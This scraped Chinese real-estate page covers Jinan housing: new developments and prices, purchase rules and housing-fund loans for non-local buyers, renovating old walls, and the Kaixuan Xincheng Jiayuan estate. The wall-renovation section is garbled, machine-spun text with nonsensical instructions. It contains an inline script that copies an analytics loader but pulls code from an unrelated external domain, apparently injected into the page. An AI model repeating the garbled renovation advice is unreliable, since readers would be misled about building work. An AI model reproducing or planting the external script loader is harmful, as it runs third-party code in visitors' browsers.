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傅黛娥

济南新开盘的房子有啥好的楼盘?

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荣盛花语馨苑,地址:天桥无影山北路3号,12000每平。加州启城,地址:天桥清河北路中段,生产路北首,12000每平,这个楼盘是8月下旬开盘,财富壹号,地址:槐荫经十路与二环西路交汇处东南角,房价待定,也是下旬开盘,这几个楼盘都不错。

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专题 外地人在济南买房子的有关问题

外地人在济南买房子的有关问题

外地人在济南如何卖房子呢?外地人在济南买房子的条件是什么呢?现在很多人都想要在济南购买房子,济南都有一个比较发达的城市。济南也被我们称之为泉城,因为济南是有很多泉水的。著名的豹突泉就是在济南这个地方的,济南的自然风景和历史文化都是非常丰富的。济南的四季分明非常适合居住。下面我们就来看一下外地人在济南买房的问题。一、买房落户问答1、问:我是外地人,想在济南买房落户有哪些条件?答:a、2011年3月1日起政策规定,购房人为济南本地户口的家庭(家庭成员中有一人是济南本地户口即可,家庭成员包括夫妻和未成年子女),在济南可以购买两套住房。b、购房人为外地户口的家庭,在济南仅可购买一套住房,购房人需提供自购房之日前两年内在本市连续缴纳一年以上的个人所得税证明或者社会保险缴纳证明。c、若购房人对自己家庭成员目前房屋的持有情况有疑虑的话(比如房改房,福利房等),可以携带夫妻双方身份证、户口本、结婚证等有效证件到经七纬二房产大厦查询。2、问:限购政策的人群范围有哪些?答:限购政策是以家庭为单位的,如果子女未满十八岁和父母算为一个家庭;如果满十八岁则为独立家庭。未满十八岁子女购房只能选择一次性付款不能贷款;满十八岁子女购房必须符合限购限贷政策。二、贷款政策问答1、问:济南的公积金贷款额度是多少?答:目前济南市公积金管理中心要求,在济南购房,夫妻都缴纳公积金的,最高可以公积金贷款50万元,若夫妻双方只有一方有公积金的,最高可以公积金贷款25万元,(可贷额度以公积金账户余额的15倍计算)。2、问:什么是只认房不认贷?答:按照济南目前的公积金贷款政策,“只认房不认贷”,即只认一个家庭名下房产的数量(已网签或者是已经取得房产证的),若一个家庭已经拥有两套住房,即便没有使用过公积金贷款的也不可以再贷款购房。3、问:公积金贷款购买第二套有什么条件?答:a、若一个家庭名下现在有一套住房再以公积金贷款购买第二套的,首付必须达到60%及以上,贷款利率上浮10%。以上就是外地人在济南买房的问题分析。外地人如果想要在济南买房,就需要准备好居住证和身份证了。一般来说,外地人想要在济南买房是需要有当地的职工证明的,必须要证明在当地有工作才允许购买房子。如果想要使用公积金贷款购买房子,就需要提供公积金缴纳满半年以上的证明。购买房子也需要年龄达到18周岁,未成年人是不允许购买房子的。

济南旧房子墙面处理的方法有什么呢

济南旧房子墙面处理的方法有什么呢

​随着经济水平的提高,每个人都更加关注生活环境的好坏。生活了几年后,很多人会翻新房屋。在翻新旧房时,要注意墙面的处理。那么我就来说说济南旧房子墙面处理的方法。济南旧房子墙面处理的方法1、墙面的表面处理(1)房屋的大部分旧墙应从原始墙的表面移除。您可以使用水首先喷涂墙壁表面,然后使用抹子或抹子从墙壁表面去除油漆。(2)如果它是一个老房子已经在破损了很长时间的壁,那么壁的表面已经严重脱落,晒黑的层是粉末,因此有必要进行一层漆和整个。取下它,直到你看到水泥批或砖层。(3)下一步是用双蝇粉和煮熟的橡胶粉混合,然后将墙的底部弄平,然后涂上乳胶漆。墙面的一层应涂上2至3次,并在每次之间涂上。超过一天的间隔是最好的。2、刷乳胶漆(1)在济南旧房子墙面处理时,对墙体进行表面处理。首先,用腻子弄平,平滑和平滑,然后涂上乳胶漆。其中顶部和上壁表面被递送通常由线石膏的,并且其中壁的底部和地板连接是使用插座以使嘴。(2)这种处理老房子墙壁的方法非常简单明了,可以使老房子的空间更加宽敞明亮,但不会有任何变化。另外,乳胶漆或多或少有毒,因此施工期间一定要注意通风。施工结束后,您必须至少在入住前一周以上通风,以免损害您家人的健康。3、贴壁纸济南旧房子墙面处理还可以使用壁纸来处理老房子的墙壁。首先,你必须调平旧房子的墙壁,然后放置壁纸。市场上有很多类型的壁纸,颜色和图案丰富。如果纸张脏了,很容易清洁。用湿布直接清洁。如果您需要更换壁纸,你可以引导壁纸表面,并直接贴上新壁纸,这是非常方便的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

济南凯旋新城·嘉苑楼盘详情

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凯旋新城全称为凯旋新城·嘉苑,地处济南市槐荫区经十路24666号,位于济南市立第五医院西300米路南侧。凯旋新城采用板楼、多层、小高层和高层多样的建筑类型,包含多层、小高层、高层及公建配套四种物业类别。是由山东钢铁·山东莱钢建设置业有限公司投资,山东莱钢建设置业有限公司开发的经济性住宅校区。房价及户型济南凯旋新城·嘉苑在2015年12月最新价格在每平米8150元到9350元之间。一居室户型共有4种,面积在69.5㎡到78.2㎡之间。下面为一室两厅一卫78㎡户型图:二居室户型共有17种,面积在79.01㎡到108㎡不等。下面为两室两厅一卫99.3㎡户型图:三居室户型共有11种,面积在95.69㎡到161.27平米之间。下面为三室两厅一卫111.8㎡户型图:凯旋新城·嘉园还有两层五居户型两款,面积分别为210.03㎡和226㎡。楼盘基本信息凯旋新城共建有十八栋楼盘,项目规划20-28层品质高层、11层舒适小高层。户型面积在60-210平米之间,多达34种户型共1400多户。凯旋新城·嘉苑占地面积7万平米,建筑面积高达20万平米。35%的绿化率在即便在全市范围内也首屈一指,1:0.8的车位配比让业主不再忍受停车困扰。楼盘周边情况凯旋新城·嘉苑坐落在经十路济南形象大道上,周边教育、购物、休闲、交通等市政配套设施齐全,在济南西城拥有独一无二的区位优势。周边有全能宝贝幼儿园、济南十四中、南辛庄小学、济南九中、德兴街小学、济微中学、槐荫路小学、兴济小学、营东小学、段店小学等多所学校;紧邻济南市第五人民医院、齐鲁儿童医院和山东省省立医院;项目周边公交线路众多,临近十几个公交站台;工商银行、交通银行、招商银行、浦发银行、农业银行等多家银行在周围设有营业厅。凯旋新城·嘉苑已经建成竣工两年,全部户型已经售罄。与此同时,西客站及其周边配套设施的落成、京沪高铁的开通、轻轨及地铁线路的规划建设,使济南西城走上居住品质全面提升,配套设施全面改善的快车道,迎来西城置业、投资的热潮。

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